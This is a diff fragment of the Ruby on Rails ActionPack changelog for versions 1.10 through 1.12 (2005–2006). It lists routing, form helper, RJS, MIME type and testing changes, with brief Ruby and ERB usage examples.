+* Reset @html_document between requests so assert_tag works. #4810 *Jarkko Laine, easleydp@gmail.com*
+
+* Integration tests behave well with render_component. #4632 *edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com*
+
+* Added exception handling of missing layouts #5373 *chris@ozmm.org*
+
+* Fixed that real files and symlinks should be treated the same when compiling templates #5438 *zachary@panandscan.com*
+
+* Fixed that the flash should be reset when reset_session is called #5584 *Shugo Maeda*
+
+* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 *murpyh@rubychan.de*
+
+* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) *David Heinemeier Hansson*
+
+* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. *Nicholas Seckar*
+
+* Avoid naming collision among compiled view methods. *Jeremy Kemper*
+
+* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 *Mislav Marohnić*
+
+* Determine the correct template_root for deeply nested components. #2841 *s.brink@web.de*
+
+* Fix that routes with *path segments in the recall can generate URLs. *Rick Olson*
+
+* Fix strip_links so that it doesn't hang on multiline <acronym> tags *Jamis Buck*
+
+* Remove problematic control chars in rescue template. #5316 *Stefan Kaes*
+
+* Make sure passed routing options are not mutated by routing code. #5314 *Blair Zajac*
+
+* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. *Jamis Buck*
+
+* Escape the path before routing recognition. #3671
+
+* Make sure :id and friends are unescaped properly. #5275 *me@julik.nl*
+
+* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form). #210 *mklame@atxeu.com, matthew@walker.wattle.id.au*
+
+* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types *David Heinemeier Hansson*
+
+* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
+
+* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
+
+* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
+
+* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. *Nicholas Seckar, Jamis Buck*
+
+ map.connect '/foo/:id', :controller => '...', :action => '...'
+ map.connect '/foo/:id.:format', :controller => '...', :action => '...'
+ map.connect '/foo/:id', ..., :conditions => { :method => :get }
+
+* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. *Jeremy Kemper*
+
+* Accept multipart PUT parameters. #5235 *guy.naor@famundo.com*
+
+* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
+
+ class WeblogController < ActionController::Base
+ def index
+ @posts = Post.find :all
+
+ respond_to do |format|
+ format.html
+ format.xml { render :xml => @posts.to_xml }
+ format.rss { render :action => "feed.rxml" }
+ end
+ end
+ end
+
+ \# returns HTML when requested by a browser, since the browser
+ \# has the HTML mimetype at the top of its priority list
+ Accept: text/html
+ GET /weblog
+
+ \# returns the XML
+ Accept: application/xml
+ GET /weblog
+
+ \# returns the HTML
+ Accept: application/xml
+ GET /weblog.html
+
+ \# returns the XML
+ Accept: text/html
+ GET /weblog.xml
+
+ All this relies on the fact that you have a route that includes .:format.
+
+* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post *David Heinemeier Hansson*
+
+* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete *David Heinemeier Hansson*
+
+* follow_redirect doesn't complain about being redirected to the same controller. #5153 *dymo@mk.ukrtelecom.ua*
+
+* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. *Kevin Clark*
+
+* Fix NoMethodError when parsing params like &&. *Adam Greenfield*
+
+* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10"). *Jeremy Kemper*
+
+* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 *anonymous*
+
+* Small fix in routing to allow dynamic routes (broken after [4242]) *Rick Olson*
+
+ map.connect '*path', :controller => 'files', :action => 'show'
+
+* Use #flush between switching from #write to #syswrite. Closes #4907. *Blair Zajac <blair@orcaware.com>*
+
+* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. *andrew@redlinesoftware.com, Marcel Molina Jr.*
+
+ error_messages_for :account, :user, :subscription, :object_name => :account
+
+* Fix assert_redirected_to tests according to real-world usage. Also, don't fail if you add an extra :controller option: *Rick Olson*
+
+ redirect_to :action => 'new'
+ assert_redirected_to :controller => 'monkeys', :action => 'new'
+
+* Diff compared routing options. Allow #assert_recognizes to take a second arg as a hash to specify optional request method *Rick Olson*
+
+ assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
+ assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
+
+* Diff compared options with #assert_redirected_to *Rick Olson*
+
+* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action *Jamis Buck*
+
+* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. *zraii@comcast.net, Sam Stephenson*
+
+* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. *Jamis Buck*
+
+* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. *Sam Stephenson*
+ ex. verify :only => :speak, :method => :post,
+ :render => { :status => 405, :text => "Must be post" },
+ :add_headers => { "Allow" => "POST" }
+
+
+## 1.12.5 (August 10th, 2006) ##
+
+* Updated security fix
+
+
+## 1.12.4 (August 8th, 2006) ##
+
+* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. *Rick Olson*
+
+* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for *David Heinemeier Hansson*
+
+* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled. #1897 *jeremye@bsa.ca.gov*
+
+* Fixed that real files and symlinks should be treated the same when compiling templates. #5438 *zachary@panandscan.com*
+
+* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
+
+* Update documentation for erb trim syntax. #5651 *matt@mattmargolis.net*
+
+* Short documentation to mention use of Mime::Type.register. #5710 *choonkeat@gmail.com*
+
+
+## 1.12.3 (June 28th, 2006) ##
+
+* Fix broken traverse_to_controller. We now:
+ Look for a _controller.rb file under RAILS_ROOT to load.
+ If we find it, we require_dependency it and return the controller it defined. (If none was defined we stop looking.)
+ If we don't find it, we look for a .rb file under RAILS_ROOT to load. If we find it, and it loads a constant we keep looking.
+ Otherwise we check to see if a directory of the same name exists, and if it does we create a module for it.
+
+
+## 1.12.2 (June 27th, 2006) ##
+
+* Refinement to avoid exceptions in traverse_to_controller.
+
+* (Hackish) Fix loading of arbitrary files in Ruby's load path by traverse_to_controller. *Nicholas Seckar*
+
+
+## 1.12.1 (April 6th, 2006) ##
+
+* Fixed that template extensions would be cached development mode #4624 *Stefan Kaes*
+
+* Update to Prototype 1.5.0_rc0 *Sam Stephenson*
+
+* Honor skipping filters conditionally for only certain actions even when the parent class sets that filter to conditionally be executed only for the same actions. #4522 *Marcel Molina Jr.*
+
+* Delegate xml_http_request in integration tests to the session instance. *Jamis Buck*
+
+* Update the diagnostics template skip the useless '<controller not set>' text. *Nicholas Seckar*
+
+* CHANGED DEFAULT: Don't parse YAML input by default, but keep it available as an easy option *David Heinemeier Hansson*
+
+* Add additional autocompleter options *aballai, Thomas Fuchs*
+
+* Fixed fragment caching of binary data on Windows #4493 *bellis@deepthought.org*
+
+* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us *Sam Stephenson, Thomas Fuchs*
+
+* Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails [David Heinemeier Hansson]. Example:
+
+ image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?1143664135" />'
+
+ ...to avoid frequent stats (not a problem for most people), you can set RAILS_ASSET_ID in the ENV to avoid stats:
+
+ ENV["RAILS_ASSET_ID"] = "2345"
+ image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?2345" />'
+
+ This can be used by deployment managers to set the asset id by application revision
+
+
+## 1.12.0 (March 27th, 2006) ##
+
+* Add documentation for respond_to. *Jamis Buck*
+
+* Fixed require of bluecloth and redcloth when gems haven't been loaded #4446 *murphy@cYcnus.de*
+
+* Update to Prototype 1.5.0_pre1 *Sam Stephenson*
+
+* Change #form_for and #fields_for so that the second argument is not required *Dave Thomas*
+
+ <% form_for :post, @post, :url => { :action => 'create' } do |f| -%>
+
+ becomes...
+
+ <% form_for :post, :url => { :action => 'create' } do |f| -%>
+
+* Update to script.aculo.us 1.6 *Thomas Fuchs*
+
+* Enable application/x-yaml processing by default *Jamis Buck*
+
+* Fix double url escaping of remote_function. Add :escape => false option to ActionView's url_for. *Nicholas Seckar*
+
+* Add :script option to in_place_editor to support evalScripts (closes #4194) *Cody Fauser*
+
+* Fix mixed case enumerable methods in the JavaScript Collection Proxy (closes #4314) *Cody Fauser*
+
+* Undo accidental escaping for mail_to; add regression test. *Nicholas Seckar*
+
+* Added nicer message for assert_redirected_to (closes #4294) *court3nay*
+
+ assert_redirected_to :action => 'other_host', :only_path => false
+
+ when it was expecting...
+
+ redirected_to :action => 'other_host', :only_path => true, :host => 'other.test.host'
+
+ gives the error message...
+
+ response is not a redirection to all of the options supplied (redirection is <{:only_path=>false, :host=>"other.test.host", :action=>"other_host"}>), difference: <{:only_path=>"true", :host=>"other.test.host"}>
+
+* Change url_for to escape the resulting URLs when called from a view. *Nicholas Seckar, coffee2code*
+
+* Added easy support for testing file uploads with fixture_file_upload #4105 [turnip@turnipspatch.com]. Example:
+
+ # Looks in Test::Unit::TestCase.fixture_path + '/files/spongebob.png'
+ post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
+
+* Fixed UrlHelper#current_page? to behave even when url-escaped entities are present #3929 *jeremy@planetargon.com*
+
+* Add ability for relative_url_root to be specified via an environment variable RAILS_RELATIVE_URL_ROOT. *isaac@reuben.com, Nicholas Seckar*
+
+* Fixed link_to "somewhere", :post => true to produce valid XHTML by using the parentnode instead of document.body for the instant form #3007 *Bob Silva*
+
+* Added :function option to PrototypeHelper#observe_field/observe_form that allows you to call a function instead of submitting an ajax call as the trigger #4268 *jonathan@daikini.com*
+
+* Make Mime::Type.parse consider q values (if any) *Jamis Buck*
+
+* XML-formatted requests are typecast according to "type" attributes for :xml_simple *Jamis Buck*
+
+* Added protection against proxy setups treating requests as local even when they're not #3898 *Steve Purcell*
+
+* Added TestRequest#raw_post that simulate raw_post from CgiRequest #3042 *François Beausoleil*
+
+* Underscore dasherized keys in formatted requests *Jamis Buck*
+
+* Add MimeResponds::Responder#any for managing multiple types with identical responses *Jamis Buck*
+
+* Make the xml_http_request testing method set the HTTP_ACCEPT header *Jamis Buck*
+
+* Add Verification to scaffolds. Prevent destructive actions using GET *Michael Koziarski*
+
+* Avoid hitting the filesystem when using layouts by using a File.directory? cache. *Stefan Kaes, Nicholas Seckar*
+
+* Simplify ActionController::Base#controller_path *Nicholas Seckar*
+
+* Added simple alert() notifications for RJS exceptions when config.action_view.debug_rjs = true. *Sam Stephenson*
+
+* Added :content_type option to render, so you can change the content type on the fly [David Heinemeier Hansson]. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
+
+* CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason *David Heinemeier Hansson*
+
+* Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension [David Heinemeier Hansson]. Example:
+
+ class WeblogController < ActionController::Base
+ def index
+ @posts = Post.find :all
+
+ respond_to do |type|
+ type.html # using defaults, which will render weblog/index.rhtml
+ type.xml { render :action => "index.rxml" }
+ type.js { render :action => "index.rjs" }
+ end
+ end
+ end
+
+* Added better support for using the same actions to output for different sources depending on the Accept header [David Heinemeier Hansson]. Example:
+
+ class WeblogController < ActionController::Base
+ def create
+ @post = Post.create(params[:post])
+
+ respond_to do |type|
+ type.js { render } # renders create.rjs
+ type.html { redirect_to :action => "index" }
+ type.xml do
+ headers["Location"] = url_for(:action => "show", :id => @post)
+ render(:nothing, :status => "201 Created")
+ end
+ end
+ end
+ end
+
+* Added Base#render(:xml => xml) that works just like Base#render(:text => text), but sets the content-type to text/xml and the charset to UTF-8 *David Heinemeier Hansson*
+
+* Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new *Tobias Lütke*
+
+* Re-added mixed-in helper methods for the JavascriptGenerator. Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added. Also fixed that variables set in the enumeration methods like #collect are set correctly. Documentation added for the enumeration methods [Rick Olson]. Examples:
+
+ page.select('#items li').collect('items') do |element|
+ element.hide
+ end
+ # => var items = $$('#items li').collect(function(value, index) { return value.hide(); });
+
+* Added plugin support for parameter parsers, which allows for better support for REST web services. By default, posts submitted with the application/xml content type is handled by creating a XmlSimple hash with the same name as the root element of the submitted xml. More handlers can easily be registered like this:
+
+ # Assign a new param parser to a new content type
+ ActionController::Base.param_parsers['application/atom+xml'] = Proc.new do |data|
+ node = REXML::Document.new(post)
+ { node.root.name => node.root }
+ end
+
+ # Assign the default XmlSimple to a new content type
+ ActionController::Base.param_parsers['application/backpack+xml'] = :xml_simple
+
+ Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type [Tobias Lütke]
+* Fixed Effect.Appear in effects.js to work with floats in Safari #3524, #3813, #3044 *Thomas Fuchs*
+
+* Fixed that default image extension was not appended when using a full URL with AssetTagHelper#image_tag #4032, #3728 *rubyonrails@beautifulpixel.com*
+
+* Added that page caching will only happen if the response code is less than 400 #4033 *g.bucher@teti.ch*
+
+* Add ActionController::IntegrationTest to allow high-level testing of the way the controllers and routes all work together *Jamis Buck*
+
+* Added support to AssetTagHelper#javascript_include_tag for having :defaults appear anywhere in the list, so you can now make one call ala javascript_include_tag(:defaults, "my_scripts") or javascript_include_tag("my_scripts", :defaults) depending on how you want the load order #3506 *Bob Silva*
+
+* Added support for visual effects scoped queues to the visual_effect helper #3530 *Abdur-Rahman Advany*
+
+* Added .rxml (and any non-rhtml template, really) supportfor CaptureHelper#content_for and CaptureHelper#capture #3287 *Brian Takita*
+
+* Added script.aculo.us drag and drop helpers to RJS [Thomas Fuchs]. Examples:
+
+ page.draggable 'product-1'
+ page.drop_receiving 'wastebasket', :url => { :action => 'delete' }
+ page.sortable 'todolist', :url => { action => 'change_order' }
+
+* Fixed that form elements would strip the trailing [] from the first parameter #3545 *ruby@bobsilva.com*
+
+* During controller resolution, update the NameError suppression to check for the expected constant. *Nicholas Seckar*
+
+* Update script.aculo.us to V1.5.3 *Thomas Fuchs*
+
+* Added various InPlaceEditor options, #3746, #3891, #3896, #3906 *Bill Burcham, ruairi, sl33p3r*
+
+* Added :count option to pagination that'll make it possible for the ActiveRecord::Base.count call to using something else than * for the count. Especially important for count queries using DISTINCT #3839 *Stefan Kaes*
+
+* Update script.aculo.us to V1.5.2 *Thomas Fuchs*
+
+* Added element and collection proxies to RJS [David Heinemeier Hansson]. Examples:
+
+ page['blank_slate'] # => $('blank_slate');
+ page['blank_slate'].show # => $('blank_slate').show();
+ page['blank_slate'].show('first').up # => $('blank_slate').show('first').up();
+
+ page.select('p') # => $$('p');
+ page.select('p.welcome b').first # => $$('p.welcome b').first();
+ page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
+
+* Add JavaScriptGenerator#replace for replacing an element's "outer HTML". #3246 *tom@craz8.com, Sam Stephenson*
+
+* Remove over-engineered form_for code for a leaner implementation. *Nicholas Seckar*
+
+* Document form_for's :html option. *Nicholas Seckar*
+
+* Major components cleanup and speedup. #3527 *Stefan Kaes*
+
+* Fix problems with pagination and :include. *Kevin Clark*
+
+* Add ActiveRecordTestCase for testing AR integration. *Kevin Clark*
+
+* Add Unit Tests for pagination *Kevin Clark*
+
+* Add :html option for specifying form tag options in form_for. *Sam Stephenson*
+
+* Replace dubious controller parent class in filter docs. #3655, #3722 *info@rhalff.com, eigentone@gmail.com*
+
+* Don't interpret the :value option on text_area as an html attribute. Set the text_area's value. #3752 *gabriel@gironda.org*
+
+* Fix remote_form_for creates a non-ajax form. *Rick Olson*
+
+* Don't let arbitrary classes match as controllers -- a potentially dangerous bug. *Nicholas Seckar*
+
+* Fix Routing tests. Fix routing where failing to match a controller would prevent the rest of routes from being attempted. *Nicholas Seckar*
+
+* Add :builder => option to form_for and friends. *Nicholas Seckar, Rick Olson*
+
+* Fix controller resolution to avoid accidentally inheriting a controller from a parent module. *Nicholas Seckar*
+
+* Set sweeper's @controller to nil after a request so that the controller may be collected between requests. *Nicholas Seckar*
+
+* Subclasses of ActionController::Caching::Sweeper should be Reloadable. *Rick Olson*
+
+* Document the :xhr option for verifications. #3666 *leeo*
+
+* Added :only and :except controls to skip_before/after_filter just like for when you add filters *David Heinemeier Hansson*
+
+* Ensure that the instance variables are copied to the template when performing render :update. *Nicholas Seckar*
+
+* Add the ability to call JavaScriptGenerator methods from helpers called in update blocks. [Sam Stephenson] Example:
+ module ApplicationHelper
+ def update_time
+ page.replace_html 'time', Time.now.to_s(:db)
+ page.visual_effect :highlight, 'time'
+ end
+ end
+
+ class UserController < ApplicationController
+ def poll
+ render :update { |page| page.update_time }
+ end
+ end
+
+* Add render(:update) to ActionView::Base. *Sam Stephenson*
+
+* Fix render(:update) to not render layouts. *Sam Stephenson*
+
+* Fixed that SSL would not correctly be detected when running lighttpd/fcgi behind lighttpd w/mod_proxy #3548 *Steve Purcell*
+
+* Added the possibility to specify atomatic expiration for the memcachd session container #3571 *Stefan Kaes*
+
+* Change layout discovery to take into account the change in semantics with File.join and nil arguments. *Marcel Molina Jr.*
+
+* Raise a RedirectBackError if redirect_to :back is called when there's no HTTP_REFERER defined #3049 *Kevin Clark*
+
+* Treat timestamps like datetimes for scaffolding purposes #3388 *Maik Schmidt*
+
+* Fix IE bug with link_to "something", :post => true #3443 *Justin Palmer*
+
+* Extract Test::Unit::TestCase test process behavior into an ActionController::TestProcess module. *Sam Stephenson*
+
+* Pass along blocks from render_to_string to render. *Sam Stephenson*
+
+* Add render :update for inline RJS. [Sam Stephenson] Example:
+ class UserController < ApplicationController
+ def refresh
+ render :update do |page|
+ page.replace_html 'user_list', :partial => 'user', :collection => @users
+ page.visual_effect :highlight, 'user_list'
+ end
+ end
+ end
+
+* allow nil objects for error_messages_for *Michael Koziarski*
+
+* Refactor human_size to exclude decimal place if it is zero. *Marcel Molina Jr.*
+
+* Update to Prototype 1.5.0_pre0 *Sam Stephenson*
+
+* Automatically discover layouts when a controller is namespaced. #2199, #3424 *me@jonnii.com rails@jeffcole.net Marcel Molina Jr.*
+
+* Add support for multiple proxy servers to CgiRequest#host *gaetanot@comcast.net*
+
+* Documentation typo fix. #2367 *Blair Zajac*
+
+* Remove Upload Progress. #2871 *Sean Treadway*
+
+* Fix typo in function name mapping in auto_complete_field. #2929 #3446 *doppler@gmail.com phil.ross@gmail.com*
+
+* Allow auto-discovery of third party template library layouts. *Marcel Molina Jr.*
+
+* Have the form builder output radio button, not check box, when calling the radio button helper. #3331 *LouisStAmour@gmail.com*
+
+* Added assignment of the Autocompleter object created by JavaScriptMacroHelper#auto_complete_field to a local javascript variables *David Heinemeier Hansson*
+
+* Added :on option for PrototypeHelper#observe_field that allows you to specify a different callback hook to have the observer trigger on *David Heinemeier Hansson*
+
+* Added JavaScriptHelper#button_to_function that works just like JavaScriptHelper#link_to_function but uses a button instead of a href *David Heinemeier Hansson*
+
+* Added that JavaScriptHelper#link_to_function will honor existing :onclick definitions when adding the function call *David Heinemeier Hansson*
+
+* Added :disable_with option to FormTagHelper#submit_tag to allow for easily disabled submit buttons with different text *David Heinemeier Hansson*
+
+* Make auto_link handle nil by returning quickly if blank? *Scott Barron*
+
+* Make auto_link match urls with a port number specified. *Marcel Molina Jr.*
+
+* Added support for toggling visual effects to ScriptaculousHelper::visual_effect, #3323. *Thomas Fuchs*
+
+* Update to script.aculo.us to 1.5.0 rev. 3343 *Thomas Fuchs*
+
+* Added :select option for JavaScriptMacroHelper#auto_complete_field that makes it easier to only use part of the auto-complete suggestion as the value for insertion *Thomas Fuchs*
+
+* Added delayed execution of Javascript from within RJS #3264 [devslashnull@gmail.com]. Example:
+
+ page.delay(20) do
+ page.visual_effect :fade, 'notice'
+ end
+
+* Add session ID to default logging, but remove the verbose description of every step *David Heinemeier Hansson*
+
+* Add the following RJS methods: *Sam Stephenson*
+
+ * alert - Displays an alert() dialog
+ * redirect_to - Changes window.location.href to simulate a browser redirect
+ * call - Calls a JavaScript function
+ * assign - Assigns to a JavaScript variable
+ * << - Inserts an arbitrary JavaScript string
+
+* Fix incorrect documentation for form_for *Nicholas Seckar*
+
+* Don't include a layout when rendering an rjs template using render's :template option. *Marcel Molina Jr.*
+
+## 1.1.2 (December 13th, 2005) ##
+
+* Become part of Rails 1.0
+
+* Update to script.aculo.us 1.5.0 final (equals 1.5.0_rc6) *Thomas Fuchs*
+
+* Update to Prototype 1.4.0 final *Sam Stephenson*
+
+* Added form_remote_for (form_for meets form_remote_tag) *David Heinemeier Hansson*
+
+* Update to script.aculo.us 1.5.0_rc6
+
+* More robust relative url root discovery for SCGI compatibility. This solves the 'SCGI routes problem' -- you no longer need to prefix all your routes with the name of the SCGI mountpoint. #3070 *Dave Ringoen*
+
+* Fix docs for text_area_tag. #3083. *Christopher Cotton*
+
+* Change form_for and fields_for method signatures to take object name and object as separate arguments rather than as a Hash. *David Heinemeier Hansson*
+
+* Introduce :selected option to the select helper. Allows you to specify a selection other than the current value of object.method. Specify :selected => nil to leave all options unselected. #2991 *Jonathan Viney <jonathan@bluewire.net.nz>*
+
+* Initialize @optional in routing code to avoid warnings about uninitialized access to an instance variable. *Nicholas Seckar*
+
+* Make ActionController's render honor the :locals option when rendering a :file. #1665. *Emanuel Borsboom, Marcel Molina Jr.*
+
+* Allow assert_tag(:conditions) to match the empty string when a tag has no children. Closes #2959. *Jamis Buck*
+
+* Update html-scanner to handle CDATA sections better. Closes #2970. *Jamis Buck*
+
+* Don't put flash in session if sessions are disabled. *Jeremy Kemper*
+
+* Strip out trailing &_= for raw post bodies. Closes #2868. *Sam Stephenson*
+
+* Pass multiple arguments to Element.show and Element.hide in JavaScriptGenerator instead of using iterators. *Sam Stephenson*
+
+* Improve expire_fragment documentation. #2966 *court3nay*
+
+* Correct docs for automatic layout assignment. #2610. *Charles M. Gerungan*
+
+* Always create new AR sessions rather than trying too hard to avoid database traffic. #2731 *Jeremy Kemper*
+
+* Update to Prototype 1.4.0_rc4. Closes #2943 (old Array.prototype.reverse behavior can be obtained by passing false as an argument). *Sam Stephenson*
+
+* Use Element.update('id', 'html') instead of $('id').innerHTML = 'html' in JavaScriptGenerator#replace_html so that script tags are evaluated. *Sam Stephenson*
+
+* Make rjs templates always implicitly skip out on layouts. *Marcel Molina Jr.*
+
+* Correct length for the truncate text helper. #2913 *Stefan Kaes*
+
+* Update to Prototype 1.4.0_rc3. Closes #1893, #2505, #2550, #2748, #2783. *Sam Stephenson*
+
+* Add support for new rjs templates which wrap an update_page block. *Marcel Molina Jr.*
+
+* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
+
+* Correct time_zone_options_for_select docs. #2892 *pudeyo@rpi.com*
+
+* Remove the unused, slow response_dump and session_dump variables from error pages. #1222 *lmarlow*
+
+* Performance tweaks: use Set instead of Array to speed up prototype helper include? calls. Avoid logging code if logger is nil. Inline commonly-called template presence checks. #2880, #2881, #2882, #2883 *Stefan Kaes*
+
+* MemCache store may be given multiple addresses. #2869 *Ryan Carver <ryan@fivesevensix.com>*
+
+* Handle cookie parsing irregularity for certain Nokia phones. #2530 *zaitzow@gmail.com*
+
+* Added PrototypeHelper::JavaScriptGenerator and PrototypeHelper#update_page for easily modifying multiple elements in an Ajax response. [Sam Stephenson] Example:
+
+ update_page do |page|
+ page.insert_html :bottom, 'list', '<li>Last item</li>'
+ page.visual_effect :highlight, 'list'
+ page.hide 'status-indicator', 'cancel-link'
+ end
+
+ generates the following JavaScript:
+
+ new Insertion.Bottom("list", "<li>Last item</li>");
+ new Effect.Highlight("list");
+ ["status-indicator", "cancel-link"].each(Element.hide);
+
+* Refactored JavaScriptHelper into PrototypeHelper and ScriptaculousHelper *Sam Stephenson*
+
+* Update to latest script.aculo.us version (as of [3031])
+
+* Updated docs for in_place_editor, fixes a couple bugs and offers extended support for external controls *Justin Palmer*
+
+* Update documentation for render :file. #2858 *Tom Werner*
+
+* Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb. #2855 *court3nay*
+
+* Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables [David Heinemeier Hansson]. Examples:
+
+ <% form_for :person, @person, :url => { :action => "update" } do |f| %>
+ First name: <%= f.text_field :first_name %>
+ Last name : <%= f.text_field :last_name %>
+ Biography : <%= f.text_area :biography %>
+ Admin? : <%= f.check_box :admin %>
+ <% end %>
+
+ <% form_for :person, person, :url => { :action => "update" } do |person_form| %>
+ First name: <%= person_form.text_field :first_name %>
+ Last name : <%= person_form.text_field :last_name %>
+
+ <% fields_for :permission => person.permission do |permission_fields| %>
+ Admin? : <%= permission_fields.check_box :admin %>
+ <% end %>
+ <% end %>
+
+* options_for_select allows any objects which respond_to? :first and :last rather than restricting to Array and Range. #2824 *Jacob Robbins <jrobbins@cmj.com>, Jeremy Kemper*
+
+* The auto_link text helper accepts an optional block to format the link text for each url and email address. Example: auto_link(post.body) { |text| truncate(text, 10) } *Jeremy Kemper*
+
+* assert_tag uses exact matches for string conditions, instead of partial matches. Use regex to do partial matches. #2799 *Jamis Buck*
+
+* CGI::Session::ActiveRecordStore.data_column_name = 'foobar' to use a different session data column than the 'data' default. *nbpwie102@sneakemail.com*
+
+* Do not raise an exception when default helper is missing; log a debug message instead. It's nice to delete empty helpers. *Jeremy Kemper*
+
+* Controllers with acronyms in their names (e.g. PDFController) require the correct default helper (PDFHelper in file pdf_helper.rb). #2262 *jeff@opendbms.com*
+
+
+## 1.11.0 (November 7th, 2005) ##
+
+* Added request as instance method to views, so you can do <%= request.env["HTTP_REFERER"] %>, just like you can already access response, session, and the likes *David Heinemeier Hansson*
+
+* Fix conflict with assert_tag and Glue gem #2255 *david.felstead@gmail.com*
+
+* Add documentation to assert_tag indicating that it only works with well-formed XHTML #1937, #2570 *Jamis Buck*
+
+* Added action_pack.rb stub so that ActionPack::Version loads properly *Sam Stephenson*
+
+* Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" *David Heinemeier Hansson*
+
+* Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies [David Heinemeier Hansson]. Example:
+
+ class ApplicationController < ActionController::Base
+ before_filter :authenticate
+ end
+
+ class WeblogController < ApplicationController
+ # will run the :authenticate filter
+ end
+
+ class SignupController < ActionController::Base
+ # will not run the :authenticate filter
+ skip_before_filter :authenticate
+ end
+
+* Added redirect_to :back as a short-hand for redirect_to(request.env["HTTP_REFERER"]) *David Heinemeier Hansson*
+
+* Change javascript_include_tag :defaults to not use script.aculo.us loader, which facilitates the use of plugins for future script.aculo.us and third party javascript extensions, and provide register_javascript_include_default for plugins to specify additional JavaScript files to load. Removed slider.js and builder.js from actionpack. *Thomas Fuchs*
+
+* Fix problem where redirecting components can cause an infinite loop *Rick Olson*
+
+* Added support for the queue option on visual_effect *Thomas Fuchs*
+
+* Update script.aculo.us to V1.5_rc4 *Thomas Fuchs*
+
+* Fix that render :text didn't interpolate instance variables #2629, #2626 *Stefan Kaes*
+
+* Fix line number detection and escape RAILS_ROOT in backtrace Regexp *Nicholas Seckar*
+
+* Fixed document.getElementsByClassName from Prototype to be speedy again *Sam Stephenson*
+
+* Recognize ./#{RAILS_ROOT} as RAILS_ROOT in error traces *Nicholas Seckar*
+
+* Remove ARStore session fingerprinting *Nicholas Seckar*
+
+* Fix obscure bug in ARStore *Nicholas Seckar*
+
+* Added TextHelper#strip_tags for removing HTML tags from a string (using HTMLTokenizer) #2229 *marcin@junkheap.net*
+
+* Added a reader for flash.now, so it's possible to do stuff like flash.now[:alert] ||= 'New if not set' #2422 *Caio Chassot*
+
+
+## 1.10.2 (October 26th, 2005) ##
+
+* Reset template variables after using render_to_string *Stefan Kaes*
+
+* Expose the session model backing CGI::Session
+
+* Abbreviate RAILS_ROOT in traces
+
+
+## 1.10.1 (October 19th, 2005) ##
+
+* Update error trace templates *Nicholas Seckar*
+
+* Stop showing generated routing code in application traces *Nicholas Seckar*
+
+
+## 1.10.0 (October 16th, 2005) ##
+
+* Make string-keys locals assigns optional. Add documentation describing depreciated state *Stefan Kaes*
+
+* Improve line number detection for template errors *Nicholas Seckar*
+
+* Update/clean up documentation (rdoc)
+
+* Upgrade to Prototype 1.4.0_rc0 *Sam Stephenson*
+
